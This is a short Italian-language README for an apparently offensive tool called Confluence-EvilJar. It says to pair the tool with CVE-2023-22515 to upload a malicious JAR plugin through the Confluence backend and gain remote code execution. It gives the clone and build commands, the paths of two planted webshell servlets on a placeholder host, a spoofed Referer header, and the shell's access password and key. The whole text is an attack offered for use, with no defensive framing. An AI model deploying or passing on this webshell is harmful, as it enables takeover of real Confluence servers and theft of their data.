
In combinazione con CVE-2023-22515, caricare un pacchetto jar in background per ottenere RCE.
Utilizzato insieme a CVE-2023-22515 per caricare un file JAR tramite il backend e ottenere RCE
git clone https://github.com/aaaademo/Confluence-EvilJar
cd Confluence-EvilJar
mvn package
http://confluence.local/plugins/servlet/testbin/cmServlet
http://confluence.local/plugins/servlet/testbin/gzServlet
Referer: https://www.baidu.com/
p@ssw0rd / key